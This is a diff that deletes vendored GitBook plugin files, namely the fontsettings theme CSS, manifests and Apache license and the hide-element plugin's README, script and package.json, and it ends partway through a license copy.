.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table td {
|
|
||||||
border-color: #3b3f54;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table tr {
|
|
||||||
color: #b6c2d2;
|
|
||||||
background-color: #2d3143;
|
|
||||||
border-color: #3b3f54;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table tr:nth-child(2n) {
|
|
||||||
background-color: #35394b;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-header {
|
|
||||||
color: #afa790;
|
|
||||||
background: transparent;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-header .btn {
|
|
||||||
color: #afa790;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-header .btn:hover {
|
|
||||||
color: #73553c;
|
|
||||||
background: none;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-header h1 {
|
|
||||||
color: #704214;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-header {
|
|
||||||
color: #7e888b;
|
|
||||||
background: transparent;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-header .btn {
|
|
||||||
color: #3b3f54;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-header .btn:hover {
|
|
||||||
color: #fffff5;
|
|
||||||
background: none;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-header h1 {
|
|
||||||
color: #bdcadb;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .navigation {
|
|
||||||
color: #afa790;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .navigation:hover {
|
|
||||||
color: #73553c;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .navigation {
|
|
||||||
color: #383f52;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .navigation:hover {
|
|
||||||
color: #fffff5;
|
|
||||||
}
|
|
||||||
/*
|
|
||||||
* Theme 1
|
|
||||||
*/
|
|
||||||
.book.color-theme-1 .book-summary {
|
|
||||||
color: #afa790;
|
|
||||||
background: #111111;
|
|
||||||
border-right: 1px solid rgba(0, 0, 0, 0.07);
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-summary .book-search {
|
|
||||||
background: transparent;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-summary .book-search input,
|
|
||||||
.book.color-theme-1 .book-summary .book-search input:focus {
|
|
||||||
border: 1px solid transparent;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-summary ul.summary li.divider {
|
|
||||||
background: #7e888b;
|
|
||||||
box-shadow: none;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-summary ul.summary li i.fa-check {
|
|
||||||
color: #33cc33;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-summary ul.summary li.done > a {
|
|
||||||
color: #877f6a;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-summary ul.summary li a,
|
|
||||||
.book.color-theme-1 .book-summary ul.summary li span {
|
|
||||||
color: #877f6a;
|
|
||||||
background: transparent;
|
|
||||||
font-weight: normal;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-summary ul.summary li.active > a,
|
|
||||||
.book.color-theme-1 .book-summary ul.summary li a:hover {
|
|
||||||
color: #704214;
|
|
||||||
background: transparent;
|
|
||||||
font-weight: normal;
|
|
||||||
}
|
|
||||||
/*
|
|
||||||
* Theme 2
|
|
||||||
*/
|
|
||||||
.book.color-theme-2 .book-summary {
|
|
||||||
color: #bcc1d2;
|
|
||||||
background: #2d3143;
|
|
||||||
border-right: none;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-summary .book-search {
|
|
||||||
background: transparent;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-summary .book-search input,
|
|
||||||
.book.color-theme-2 .book-summary .book-search input:focus {
|
|
||||||
border: 1px solid transparent;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-summary ul.summary li.divider {
|
|
||||||
background: #272a3a;
|
|
||||||
box-shadow: none;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-summary ul.summary li i.fa-check {
|
|
||||||
color: #33cc33;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-summary ul.summary li.done > a {
|
|
||||||
color: #62687f;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-summary ul.summary li a,
|
|
||||||
.book.color-theme-2 .book-summary ul.summary li span {
|
|
||||||
color: #c1c6d7;
|
|
||||||
background: transparent;
|
|
||||||
font-weight: 600;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-summary ul.summary li.active > a,
|
|
||||||
.book.color-theme-2 .book-summary ul.summary li a:hover {
|
|
||||||
color: #f4f4f5;
|
|
||||||
background: #252737;
|
|
||||||
font-weight: 600;
|
|
||||||
}
|
|
||||||
-12
@@ -1,12 +0,0 @@
|
|||||||
|
|
||||||
module.exports = {
|
|
||||||
book: {
|
|
||||||
assets: './assets',
|
|
||||||
js: [
|
|
||||||
'fontsettings.js'
|
|
||||||
],
|
|
||||||
css: [
|
|
||||||
'website.css'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
};
|
|
||||||
-81
@@ -1,81 +0,0 @@
|
|||||||
{
|
|
||||||
"_from": "gitbook-plugin-fontsettings",
|
|
||||||
"_id": "gitbook-plugin-fontsettings@2.0.0",
|
|
||||||
"_inBundle": false,
|
|
||||||
"_integrity": "sha512-bZpz/Jev7lL1d3VNp41KHZD67UYqyqdOwbsJE6YEW93R2mGiLfZLpUs86d2nrY61BedhlNck1xF52FNT6sWeig==",
|
|
||||||
"_location": "/gitbook-plugin-fontsettings",
|
|
||||||
"_phantomChildren": {},
|
|
||||||
"_requested": {
|
|
||||||
"type": "tag",
|
|
||||||
"registry": true,
|
|
||||||
"raw": "gitbook-plugin-fontsettings",
|
|
||||||
"name": "gitbook-plugin-fontsettings",
|
|
||||||
"escapedName": "gitbook-plugin-fontsettings",
|
|
||||||
"rawSpec": "",
|
|
||||||
"saveSpec": null,
|
|
||||||
"fetchSpec": "latest"
|
|
||||||
},
|
|
||||||
"_requiredBy": [
|
|
||||||
"#USER",
|
|
||||||
"/"
|
|
||||||
],
|
|
||||||
"_resolved": "https://registry.npmmirror.com/gitbook-plugin-fontsettings/-/gitbook-plugin-fontsettings-2.0.0.tgz",
|
|
||||||
"_shasum": "835f900ae3dd111086fe7ed4425ee3de024861ab",
|
|
||||||
"_spec": "gitbook-plugin-fontsettings",
|
|
||||||
"_where": "D:\\Book\\Sec-Interview",
|
|
||||||
"bugs": {
|
|
||||||
"url": "https://github.com/GitbookIO/plugin-fontsettings/issues"
|
|
||||||
},
|
|
||||||
"bundleDependencies": false,
|
|
||||||
"deprecated": false,
|
|
||||||
"description": "Fonts and colors themes settings the website for a better reading experience",
|
|
||||||
"devDependencies": {
|
|
||||||
"eslint": "^2.7.0",
|
|
||||||
"less": "2.5.1"
|
|
||||||
},
|
|
||||||
"engines": {
|
|
||||||
"gitbook": ">=2.4.0"
|
|
||||||
},
|
|
||||||
"gitbook": {
|
|
||||||
"properties": {
|
|
||||||
"theme": {
|
|
||||||
"type": "string",
|
|
||||||
"default": "white",
|
|
||||||
"title": "Default theme",
|
|
||||||
"enum": [
|
|
||||||
"white",
|
|
||||||
"sepia",
|
|
||||||
"night"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"family": {
|
|
||||||
"type": "string",
|
|
||||||
"default": "sans",
|
|
||||||
"title": "Default font family",
|
|
||||||
"enum": [
|
|
||||||
"sans",
|
|
||||||
"serif"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"size": {
|
|
||||||
"type": "number",
|
|
||||||
"default": 2,
|
|
||||||
"title": "Default font size",
|
|
||||||
"min": 1,
|
|
||||||
"max": 4
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"homepage": "https://github.com/GitbookIO/plugin-fontsettings",
|
|
||||||
"license": "Apache-2.0",
|
|
||||||
"main": "index.js",
|
|
||||||
"name": "gitbook-plugin-fontsettings",
|
|
||||||
"repository": {
|
|
||||||
"type": "git",
|
|
||||||
"url": "git+https://github.com/GitbookIO/plugin-fontsettings.git"
|
|
||||||
},
|
|
||||||
"scripts": {
|
|
||||||
"prepublish": "lessc ./less/website.less > ./assets/website.css;"
|
|
||||||
},
|
|
||||||
"version": "2.0.0"
|
|
||||||
}
|
|
||||||
-201
@@ -1,201 +0,0 @@
|
|||||||
Apache License
|
|
||||||
Version 2.0, January 2004
|
|
||||||
http://www.apache.org/licenses/
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
||||||
|
|
||||||
1. Definitions.
|
|
||||||
|
|
||||||
"License" shall mean the terms and conditions for use, reproduction,
|
|
||||||
and distribution as defined by Sections 1 through 9 of this document.
|
|
||||||
|
|
||||||
"Licensor" shall mean the copyright owner or entity authorized by
|
|
||||||
the copyright owner that is granting the License.
|
|
||||||
|
|
||||||
"Legal Entity" shall mean the union of the acting entity and all
|
|
||||||
other entities that control, are controlled by, or are under common
|
|
||||||
control with that entity. For the purposes of this definition,
|
|
||||||
"control" means (i) the power, direct or indirect, to cause the
|
|
||||||
direction or management of such entity, whether by contract or
|
|
||||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
||||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
||||||
|
|
||||||
"You" (or "Your") shall mean an individual or Legal Entity
|
|
||||||
exercising permissions granted by this License.
|
|
||||||
|
|
||||||
"Source" form shall mean the preferred form for making modifications,
|
|
||||||
including but not limited to software source code, documentation
|
|
||||||
source, and configuration files.
|
|
||||||
|
|
||||||
"Object" form shall mean any form resulting from mechanical
|
|
||||||
transformation or translation of a Source form, including but
|
|
||||||
not limited to compiled object code, generated documentation,
|
|
||||||
and conversions to other media types.
|
|
||||||
|
|
||||||
"Work" shall mean the work of authorship, whether in Source or
|
|
||||||
Object form, made available under the License, as indicated by a
|
|
||||||
copyright notice that is included in or attached to the work
|
|
||||||
(an example is provided in the Appendix below).
|
|
||||||
|
|
||||||
"Derivative Works" shall mean any work, whether in Source or Object
|
|
||||||
form, that is based on (or derived from) the Work and for which the
|
|
||||||
editorial revisions, annotations, elaborations, or other modifications
|
|
||||||
represent, as a whole, an original work of authorship. For the purposes
|
|
||||||
of this License, Derivative Works shall not include works that remain
|
|
||||||
separable from, or merely link (or bind by name) to the interfaces of,
|
|
||||||
the Work and Derivative Works thereof.
|
|
||||||
|
|
||||||
"Contribution" shall mean any work of authorship, including
|
|
||||||
the original version of the Work and any modifications or additions
|
|
||||||
to that Work or Derivative Works thereof, that is intentionally
|
|
||||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
||||||
or by an individual or Legal Entity authorized to submit on behalf of
|
|
||||||
the copyright owner. For the purposes of this definition, "submitted"
|
|
||||||
means any form of electronic, verbal, or written communication sent
|
|
||||||
to the Licensor or its representatives, including but not limited to
|
|
||||||
communication on electronic mailing lists, source code control systems,
|
|
||||||
and issue tracking systems that are managed by, or on behalf of, the
|
|
||||||
Licensor for the purpose of discussing and improving the Work, but
|
|
||||||
excluding communication that is conspicuously marked or otherwise
|
|
||||||
designated in writing by the copyright owner as "Not a Contribution."
|
|
||||||
|
|
||||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
||||||
on behalf of whom a Contribution has been received by Licensor and
|
|
||||||
subsequently incorporated within the Work.
|
|
||||||
|
|
||||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
copyright license to reproduce, prepare Derivative Works of,
|
|
||||||
publicly display, publicly perform, sublicense, and distribute the
|
|
||||||
Work and such Derivative Works in Source or Object form.
|
|
||||||
|
|
||||||
3. Grant of Patent License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
(except as stated in this section) patent license to make, have made,
|
|
||||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
||||||
where such license applies only to those patent claims licensable
|
|
||||||
by such Contributor that are necessarily infringed by their
|
|
||||||
Contribution(s) alone or by combination of their Contribution(s)
|
|
||||||
with the Work to which such Contribution(s) was submitted. If You
|
|
||||||
institute patent litigation against any entity (including a
|
|
||||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
||||||
or a Contribution incorporated within the Work constitutes direct
|
|
||||||
or contributory patent infringement, then any patent licenses
|
|
||||||
granted to You under this License for that Work shall terminate
|
|
||||||
as of the date such litigation is filed.
|
|
||||||
|
|
||||||
4. Redistribution. You may reproduce and distribute copies of the
|
|
||||||
Work or Derivative Works thereof in any medium, with or without
|
|
||||||
modifications, and in Source or Object form, provided that You
|
|
||||||
meet the following conditions:
|
|
||||||
|
|
||||||
(a) You must give any other recipients of the Work or
|
|
||||||
Derivative Works a copy of this License; and
|
|
||||||
|
|
||||||
(b) You must cause any modified files to carry prominent notices
|
|
||||||
stating that You changed the files; and
|
|
||||||
|
|
||||||
(c) You must retain, in the Source form of any Derivative Works
|
|
||||||
that You distribute, all copyright, patent, trademark, and
|
|
||||||
attribution notices from the Source form of the Work,
|
|
||||||
excluding those notices that do not pertain to any part of
|
|
||||||
the Derivative Works; and
|
|
||||||
|
|
||||||
(d) If the Work includes a "NOTICE" text file as part of its
|
|
||||||
distribution, then any Derivative Works that You distribute must
|
|
||||||
include a readable copy of the attribution notices contained
|
|
||||||
within such NOTICE file, excluding those notices that do not
|
|
||||||
pertain to any part of the Derivative Works, in at least one
|
|
||||||
of the following places: within a NOTICE text file distributed
|
|
||||||
as part of the Derivative Works; within the Source form or
|
|
||||||
documentation, if provided along with the Derivative Works; or,
|
|
||||||
within a display generated by the Derivative Works, if and
|
|
||||||
wherever such third-party notices normally appear. The contents
|
|
||||||
of the NOTICE file are for informational purposes only and
|
|
||||||
do not modify the License. You may add Your own attribution
|
|
||||||
notices within Derivative Works that You distribute, alongside
|
|
||||||
or as an addendum to the NOTICE text from the Work, provided
|
|
||||||
that such additional attribution notices cannot be construed
|
|
||||||
as modifying the License.
|
|
||||||
|
|
||||||
You may add Your own copyright statement to Your modifications and
|
|
||||||
may provide additional or different license terms and conditions
|
|
||||||
for use, reproduction, or distribution of Your modifications, or
|
|
||||||
for any such Derivative Works as a whole, provided Your use,
|
|
||||||
reproduction, and distribution of the Work otherwise complies with
|
|
||||||
the conditions stated in this License.
|
|
||||||
|
|
||||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
||||||
any Contribution intentionally submitted for inclusion in the Work
|
|
||||||
by You to the Licensor shall be under the terms and conditions of
|
|
||||||
this License, without any additional terms or conditions.
|
|
||||||
Notwithstanding the above, nothing herein shall supersede or modify
|
|
||||||
the terms of any separate license agreement you may have executed
|
|
||||||
with Licensor regarding such Contributions.
|
|
||||||
|
|
||||||
6. Trademarks. This License does not grant permission to use the trade
|
|
||||||
names, trademarks, service marks, or product names of the Licensor,
|
|
||||||
except as required for reasonable and customary use in describing the
|
|
||||||
origin of the Work and reproducing the content of the NOTICE file.
|
|
||||||
|
|
||||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
||||||
agreed to in writing, Licensor provides the Work (and each
|
|
||||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
||||||
implied, including, without limitation, any warranties or conditions
|
|
||||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
||||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
||||||
appropriateness of using or redistributing the Work and assume any
|
|
||||||
risks associated with Your exercise of permissions under this License.
|
|
||||||
|
|
||||||
8. Limitation of Liability. In no event and under no legal theory,
|
|
||||||
whether in tort (including negligence), contract, or otherwise,
|
|
||||||
unless required by applicable law (such as deliberate and grossly
|
|
||||||
negligent acts) or agreed to in writing, shall any Contributor be
|
|
||||||
liable to You for damages, including any direct, indirect, special,
|
|
||||||
incidental, or consequential damages of any character arising as a
|
|
||||||
result of this License or out of the use or inability to use the
|
|
||||||
Work (including but not limited to damages for loss of goodwill,
|
|
||||||
work stoppage, computer failure or malfunction, or any and all
|
|
||||||
other commercial damages or losses), even if such Contributor
|
|
||||||
has been advised of the possibility of such damages.
|
|
||||||
|
|
||||||
9. Accepting Warranty or Additional Liability. While redistributing
|
|
||||||
the Work or Derivative Works thereof, You may choose to offer,
|
|
||||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
||||||
or other liability obligations and/or rights consistent with this
|
|
||||||
License. However, in accepting such obligations, You may act only
|
|
||||||
on Your own behalf and on Your sole responsibility, not on behalf
|
|
||||||
of any other Contributor, and only if You agree to indemnify,
|
|
||||||
defend, and hold each Contributor harmless for any liability
|
|
||||||
incurred by, or claims asserted against, such Contributor by reason
|
|
||||||
of your accepting any such warranty or additional liability.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
APPENDIX: How to apply the Apache License to your work.
|
|
||||||
|
|
||||||
To apply the Apache License to your work, attach the following
|
|
||||||
boilerplate notice, with the fields enclosed by brackets "{}"
|
|
||||||
replaced with your own identifying information. (Don't include
|
|
||||||
the brackets!) The text should be enclosed in the appropriate
|
|
||||||
comment syntax for the file format. We also recommend that a
|
|
||||||
file or class name and description of purpose be included on the
|
|
||||||
same "printed page" as the copyright notice for easier
|
|
||||||
identification within third-party archives.
|
|
||||||
|
|
||||||
Copyright {yyyy} {name of copyright owner}
|
|
||||||
|
|
||||||
Licensed under the Apache License, Version 2.0 (the "License");
|
|
||||||
you may not use this file except in compliance with the License.
|
|
||||||
You may obtain a copy of the License at
|
|
||||||
|
|
||||||
http://www.apache.org/licenses/LICENSE-2.0
|
|
||||||
|
|
||||||
Unless required by applicable law or agreed to in writing, software
|
|
||||||
distributed under the License is distributed on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
||||||
See the License for the specific language governing permissions and
|
|
||||||
limitations under the License.
|
|
||||||
-18
@@ -1,18 +0,0 @@
|
|||||||
# GitBook Plugin
|
|
||||||
|
|
||||||
Hide the element that you don't want to see.
|
|
||||||
|
|
||||||
## Usage
|
|
||||||
|
|
||||||
```
|
|
||||||
{
|
|
||||||
"plugins": [
|
|
||||||
"hide-element"
|
|
||||||
],
|
|
||||||
"pluginsConfig": {
|
|
||||||
"hide-element": {
|
|
||||||
"elements": [".gitbook-link"]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
-13
@@ -1,13 +0,0 @@
|
|||||||
require(['gitbook', 'jquery'], function(gitbook, $) {
|
|
||||||
var opts;
|
|
||||||
|
|
||||||
gitbook.events.bind('start', function(e, config) {
|
|
||||||
opts = config['hide-element'].elements;
|
|
||||||
});
|
|
||||||
|
|
||||||
gitbook.events.bind('page.change', function() {
|
|
||||||
$.map(opts, function(ele) {
|
|
||||||
$(ele).hide();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
-6
@@ -1,6 +0,0 @@
|
|||||||
module.exports = {
|
|
||||||
book: {
|
|
||||||
assets: "./book",
|
|
||||||
js: ["plugin.js"]
|
|
||||||
}
|
|
||||||
};
|
|
||||||
-44
@@ -1,44 +0,0 @@
|
|||||||
{
|
|
||||||
"_from": "gitbook-plugin-hide-element",
|
|
||||||
"_id": "gitbook-plugin-hide-element@0.0.4",
|
|
||||||
"_inBundle": false,
|
|
||||||
"_integrity": "sha512-EHlhMdFAIWf73clRjT7lyuAA0qfP61K4CLzqzQYBzQJjdYlB5lVd4ymMWo+TIAXXei/WMdOTaJOUm4ThqS9vgA==",
|
|
||||||
"_location": "/gitbook-plugin-hide-element",
|
|
||||||
"_phantomChildren": {},
|
|
||||||
"_requested": {
|
|
||||||
"type": "tag",
|
|
||||||
"registry": true,
|
|
||||||
"raw": "gitbook-plugin-hide-element",
|
|
||||||
"name": "gitbook-plugin-hide-element",
|
|
||||||
"escapedName": "gitbook-plugin-hide-element",
|
|
||||||
"rawSpec": "",
|
|
||||||
"saveSpec": null,
|
|
||||||
"fetchSpec": "latest"
|
|
||||||
},
|
|
||||||
"_requiredBy": [
|
|
||||||
"#USER",
|
|
||||||
"/"
|
|
||||||
],
|
|
||||||
"_resolved": "https://registry.npmmirror.com/gitbook-plugin-hide-element/-/gitbook-plugin-hide-element-0.0.4.tgz",
|
|
||||||
"_shasum": "93a3de76aeebd535261597d257f71876f0d1dc34",
|
|
||||||
"_spec": "gitbook-plugin-hide-element",
|
|
||||||
"_where": "D:\\Book",
|
|
||||||
"bugs": {
|
|
||||||
"url": "https://github.com/gonjay/gitbook-plugin-hide-element/issues"
|
|
||||||
},
|
|
||||||
"bundleDependencies": false,
|
|
||||||
"deprecated": false,
|
|
||||||
"description": "Hide the element that you don't want to see.",
|
|
||||||
"engines": {
|
|
||||||
"gitbook": "*"
|
|
||||||
},
|
|
||||||
"homepage": "https://github.com/gonjay/gitbook-plugin-hide-element",
|
|
||||||
"license": "ISC",
|
|
||||||
"main": "index.js",
|
|
||||||
"name": "gitbook-plugin-hide-element",
|
|
||||||
"repository": {
|
|
||||||
"type": "git",
|
|
||||||
"url": "git+https://github.com/gonjay/gitbook-plugin-hide-element.git"
|
|
||||||
},
|
|
||||||
"version": "0.0.4"
|
|
||||||
}
|
|
||||||
-4
@@ -1,4 +0,0 @@
|
|||||||
.idea
|
|
||||||
.history
|
|
||||||
*.swp
|
|
||||||
/examples
|
|
||||||
-202
@@ -1,202 +0,0 @@
|
|||||||
Apache License
|
|
||||||
Version 2.0, January 2004
|
|
||||||
http://www.apache.org/licenses/
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
||||||
|
|
||||||
1. Definitions.
|
|
||||||
|
|
||||||
"License" shall mean the terms and conditions for use, reproduction,
|
|
||||||
and distribution as defined by Sections 1 through 9 of this document.
|
|
||||||
|
|
||||||
"Licensor" shall mean the copyright owner or entity authorized by
|
|
||||||
the copyright owner that is granting the License.
|
|
||||||
|
|
||||||
"Legal Entity" shall mean the union of the acting entity and all
|
|
||||||
other entities that control, are controlled by, or are under common
|
|
||||||
control with that entity. For the purposes of this definition,
|
|
||||||
"control" means (i) the power, direct or indirect, to cause the
|
|
||||||
direction or management of such entity, whether by contract or
|
|
||||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
||||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
||||||
|
|
||||||
"You" (or "Your") shall mean an individual or Legal Entity
|
|
||||||
exercising permissions granted by this License.
|
|
||||||
|
|
||||||
"Source" form shall mean the preferred form for making modifications,
|
|
||||||
including but not limited to software source code, documentation
|
|
||||||
source, and configuration files.
|
|
||||||
|
|
||||||
"Object" form shall mean any form resulting from mechanical
|
|
||||||
transformation or translation of a Source form, including but
|
|
||||||
not limited to compiled object code, generated documentation,
|
|
||||||
and conversions to other media types.
|
|
||||||
|
|
||||||
"Work" shall mean the work of authorship, whether in Source or
|
|
||||||
Object form, made available under the License, as indicated by a
|
|
||||||
copyright notice that is included in or attached to the work
|
|
||||||
(an example is provided in the Appendix below).
|
|
||||||
|
|
||||||
"Derivative Works" shall mean any work, whether in Source or Object
|
|
||||||
form, that is based on (or derived from) the Work and for which the
|
|
||||||
editorial revisions, annotations, elaborations, or other modifications
|
|
||||||
represent, as a whole, an original work of authorship. For the purposes
|
|
||||||
of this License, Derivative Works shall not include works that remain
|
|
||||||
separable from, or merely link (or bind by name) to the interfaces of,
|
|
||||||
the Work and Derivative Works thereof.
|
|
||||||
|
|
||||||
"Contribution" shall mean any work of authorship, including
|
|
||||||
the original version of the Work and any modifications or additions
|
|
||||||
to that Work or Derivative Works thereof, that is intentionally
|
|
||||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
||||||
or by an individual or Legal Entity authorized to submit on behalf of
|
|
||||||
the copyright owner. For the purposes of this definition, "submitted"
|
|
||||||
means any form of electronic, verbal, or written communication sent
|
|
||||||
to the Licensor or its representatives, including but not limited to
|
|
||||||
communication on electronic mailing lists, source code control systems,
|
|
||||||
and issue tracking systems that are managed by, or on behalf of, the
|
|
||||||
Licensor for the purpose of discussing and improving the Work, but
|
|
||||||
excluding communication that is conspicuously marked or otherwise
|
|
||||||
designated in writing by the copyright owner as "Not a Contribution."
|
|
||||||
|
|
||||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
||||||
on behalf of whom a Contribution has been received by Licensor and
|
|
||||||
subsequently incorporated within the Work.
|
|
||||||
|
|
||||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
copyright license to reproduce, prepare Derivative Works of,
|
|
||||||
publicly display, publicly perform, sublicense, and distribute the
|
|
||||||
Work and such Derivative Works in Source or Object form.
|
|
||||||
|
|
||||||
3. Grant of Patent License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
(except as stated in this section) patent license to make, have made,
|
|
||||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
||||||
where such license applies only to those patent claims licensable
|
|
||||||
by such Contributor that are necessarily infringed by their
|
|
||||||
Contribution(s) alone or by combination of their Contribution(s)
|
|
||||||
with the Work to which such Contribution(s) was submitted. If You
|
|
||||||
institute patent litigation against any entity (including a
|
|
||||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
||||||
or a Contribution incorporated within the Work constitutes direct
|
|
||||||
or contributory patent infringement, then any patent licenses
|
|
||||||
granted to You under this License for that Work shall terminate
|
|
||||||
as of the date such litigation is filed.
|
|
||||||
|
|
||||||
4. Redistribution. You may reproduce and distribute copies of the
|
|
||||||
Work or Derivative Works thereof in any medium, with or without
|
|
||||||
modifications, and in Source or Object form, provided that You
|
|
||||||
meet the following conditions:
|
|
||||||
|
|
||||||
(a) You must give any other recipients of the Work or
|
|
||||||
Derivative Works a copy of this License; and
|
|
||||||
|
|
||||||
(b) You must cause any modified files to carry prominent notices
|
|
||||||
stating that You changed the files; and
|
|
||||||
|
|
||||||
(c) You must retain, in the Source form of any Derivative Works
|
|
||||||
that You distribute, all copyright, patent, trademark, and
|
|
||||||
attribution notices from the Source form of the Work,
|
|
||||||
excluding those notices that do not pertain to any part of
|
|
||||||
the Derivative Works; and
|
|
||||||
|
|
||||||
(d) If the Work includes a "NOTICE" text file as part of its
|
|
||||||
distribution, then any Derivative Works that You distribute must
|
|
||||||
include a readable copy of the attribution notices contained
|
|
||||||
within such NOTICE file, excluding those notices that do not
|
|
||||||
pertain to any part of the Derivative Works, in at least one
|
|
||||||
of the following places: within a NOTICE text file distributed
|
|
||||||
as part of the Derivative Works; within the Source form or
|
|
||||||
documentation, if provided along with the Derivative Works; or,
|
|
||||||
within a display generated by the Derivative Works, if and
|
|
||||||
wherever such third-party notices normally appear. The contents
|
|
||||||
of the NOTICE file are for informational purposes only and
|
|
||||||
do not modify the License. You may add Your own attribution
|
|
||||||
notices within Derivative Works that You distribute, alongside
|
|
||||||
or as an addendum to the NOTICE text from the Work, provided
|
|
||||||
that such additional attribution notices cannot be construed
|
|
||||||
as modifying the License.
|
|
||||||
|
|
||||||
You may add Your own copyright statement to Your modifications and
|
|
||||||
may provide additional or different license terms and conditions
|
|
||||||
for use, reproduction, or distribution of Your modifications, or
|
|
||||||
for any such Derivative Works as a whole, provided Your use,
|
|
||||||
reproduction, and distribution of the Work otherwise complies with
|
|
||||||
the conditions stated in this License.
|
|
||||||
|
|
||||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
||||||
any Contribution intentionally submitted for inclusion in the Work
|
|
||||||
by You to the Licensor shall be under the terms and conditions of
|
|
||||||
this License, without any additional terms or conditions.
|
|
||||||
Notwithstanding the above, nothing herein shall supersede or modify
|
|
||||||
the terms of any separate license agreement you may have executed
|
|
||||||
with Licensor regarding such Contributions.
|
|
||||||
|
|
||||||
6. Trademarks. This License does not grant permission to use the trade
|
|
||||||
names, trademarks, service marks, or product names of the Licensor,
|
|
||||||
except as required for reasonable and customary use in describing the
|
|
||||||
origin of the Work and reproducing the content of the NOTICE file.
|
|
||||||
|
|
||||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
||||||
agreed to in writing, Licensor provides the Work (and each
|
|
||||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
||||||
implied, including, without limitation, any warranties or conditions
|
|
||||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
||||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
||||||
appropriateness of using or redistributing the Work and assume any
|
|
||||||
risks associated with Your exercise of permissions under this License.
|
|
||||||
|
|
||||||
8. Limitation of Liability. In no event and under no legal theory,
|
|
||||||
whether in tort (including negligence), contract, or otherwise,
|
|
||||||
unless required by applicable law (such as deliberate and grossly
|
|
||||||
negligent acts) or agreed to in writing, shall any Contributor be
|
|
||||||
liable to You for damages, including any direct, indirect, special,
|
|
||||||
incidental, or consequential damages of any character arising as a
|
|
||||||
result of this License or out of the use or inability to use the
|
|
||||||
Work (including but not limited to damages for loss of goodwill,
|
|
||||||
work stoppage, computer failure or malfunction, or any and all
|
|
||||||
